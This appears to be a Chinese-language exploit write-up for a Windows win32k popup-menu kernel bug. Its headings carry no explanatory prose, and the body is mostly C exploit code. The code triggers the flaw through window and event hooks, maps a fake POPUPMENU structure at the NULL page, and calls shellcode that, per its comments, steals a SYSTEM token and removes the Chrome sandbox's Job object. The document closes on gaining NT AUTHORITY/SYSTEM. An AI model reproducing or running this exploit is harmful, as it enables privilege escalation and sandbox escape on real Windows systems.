前  言 

 简  介 

 漏洞概述 

 漏洞触发 

/* Creating the menu */ for (int i = 0; i < 3; i++) hMenuList[i] = CreateMenu();
/* Appending the menus along with the item */ for (int i = 0; i < 3; i++) { AppendMenuA(hMenuList[i], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)hMenuList[i + 1], "item"); } AppendMenuA(hMenuList[2], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)0, "item");
/* Creating a main window class */ xxRegisterWindowClassW(L"WNDCLASSMAIN", 0x000, DefWindowProc); hWindowMain = xxCreateWindowExW(L"WNDCLASSMAIN", WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST, WS_VISIBLE, GetModuleHandleA(NULL)); printf("Handle of the mainWindow : 0x%08Xn", (unsigned int)hWindowMain); ShowWindow(hWindowMain, SW_SHOWNOACTIVATE);

/* Hooking the WH_CALLWNDPROC function */ SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc, GetModuleHandleA(NULL), GetCurrentThreadId());
/* Hooking the trackpopupmenuEx WINAPI call */ HWINEVENTHOOK hEventHook = SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART, GetModuleHandleA(NULL), xxWindowEventProc, GetCurrentProcessId(), GetCurrentThreadId(), 0);

/* Setting the root popup menu to null */printf("Setting the root popup menu to nulln");release = 0;TrackPopupMenuEx(hMenuList[0], 0, 0, 0, hWindowMain, NULL);

staticVOIDCALLBACKxxWindowEventProc(    HWINEVENTHOOK hWinEventHook,    DWORD         event,    HWND          hwnd,    LONG          idObject,    LONG          idChild,    DWORD         idEventThread,    DWORD         dwmsEventTime){    UNREFERENCED_PARAMETER(hWinEventHook);    UNREFERENCED_PARAMETER(event);    UNREFERENCED_PARAMETER(idObject);    UNREFERENCED_PARAMETER(idChild);    UNREFERENCED_PARAMETER(idEventThread);    UNREFERENCED_PARAMETER(dwmsEventTime);
    bEnterEvent = TRUE;    if (iCount < ARRAYSIZE(hwndMenuList))    {        hwndMenuList[iCount] = hwnd;        iCount++;    }    SendMessageW(hwnd, MN_SELECTITEM, 0, 0);    SendMessageW(hwnd, MN_SELECTFIRSTVALIDITEM, 0, 0);    PostMessageW(hwnd, MN_OPENHIERARCHY, 0, 0);}

staticLRESULTCALLBACKxxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam){    tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
    if (cwp->message == WM_NCCREATE && bEnterEvent && hwndMenuList[release] && !hwndMenuList[release+1])    {        printf("Sending the MN_CANCELMENUS messagen");        SendMessage(hwndMenuList[release], MN_CANCELMENUS, 0, 0);        bEnterEvent = FALSE;    }    return CallNextHookEx(0, code, wParam, lParam);}

 漏洞利用 

/* Creating the hunt window class */    xxRegisterWindowClassW(L"WNDCLASSHUNT", 0x000, xxMainWindowProc);    hWindowHunt = xxCreateWindowExW(L"WNDCLASSHUNT",        WS_EX_LEFT,        WS_OVERLAPPEDWINDOW,        GetModuleHandleA(NULL));    printf("Handle of the huntWindow : 0x%08Xn", (unsigned int)hWindowHunt);

/* Allocating the memory at NULL page */    *(FARPROC *)&NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"), "NtAllocateVirtualMemory");    if (NtAllocateVirtualMemory == NULL)        return 1;
    if (!NT_SUCCESS(NtAllocateVirtualMemory(NtCurrentProcess(),        &MemAddr,        0,        &MemSize,        MEM_COMMIT | MEM_RESERVE,        PAGE_READWRITE)) || MemAddr != NULL)    {        printf("[-]Memory alloc failed!n");        return 1;    }    ZeroMemory(MemAddr, MemSize);

/* Getting the tagWND of the hWindowHunt */    PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt);    printf("Address of the win32k!tagWND of hWindowHunt : 0x%08Xn", (unsigned int)head->deskhead.pSelf);

/* Creating a fake POPUPMENU structure */    DWORD dwPopupFake[0x100] = { 0 };    dwPopupFake[0x0] = (DWORD)0x1; //->flags    dwPopupFake[0x1] = (DWORD)0x1; //->spwndNotify    dwPopupFake[0x2] = (DWORD)0x1; //->spwndPopupMenu    dwPopupFake[0x3] = (DWORD)0x1; //->spwndNextPopup    dwPopupFake[0x4] = (DWORD)0x1; //->spwndPrevPopup    dwPopupFake[0x5] = (DWORD)0x1; //->spmenu    dwPopupFake[0x6] = (DWORD)0x1; //->spmenuAlternate    dwPopupFake[0x7] = (ULONG)head->deskhead.pSelf + 0x12;  //->spwndActivePopup    dwPopupFake[0x8] = (DWORD)0x1;  //->ppopupmenuRoot    dwPopupFake[0x9] = (DWORD)0x1; //->ppmDelayedFree    dwPopupFake[0xA] = (DWORD)0x1;  //->posSelectedItem    dwPopupFake[0xB] = (DWORD)0x1; //->posDropped    dwPopupFake[0xC] = (DWORD)0;
/* Copying it to the NULL page */    RtlCopyMemory(MemAddr, dwPopupFake, 0x1000);

staticLRESULTWINAPIxxMainWindowProc(    _In_ HWND   hwnd,    _In_ UINT   msg,    _In_ WPARAM wParam,    _In_ LPARAM lParam){    if (msg == 0x1234)    {        WORD um = 0;        __asm        {            // Grab the value of the CS register and            // save it into the variable UM.            //int 3            mov ax, cs            mov um, ax        }        // If UM is 0x1B, this function is executing in usermode        // code and something went wrong. Therefore output a message that        // the exploit didn't succeed and bail.        if (um == 0x1b)        {            // USER MODE            printf("[!] Exploit didn't succeed, entered sprayCallback with user mode privileges.rn");            ExitProcess(-1); // Bail as if this code is hit either the target isn't                             // vulnerable or something is wrong with the exploit.        }        else        {            success = TRUE; // Set the success flag to indicate the sprayCallback()                            // window procedure is running as SYSTEM.            Shellcode(); // Call the Shellcode() function to perform the token stealing and                         // to remove the Job object on the Chrome renderer process.        }    }    return DefWindowProcW(hwnd, msg, wParam, lParam);}获取NT AUTHORITY/SYSTEM权限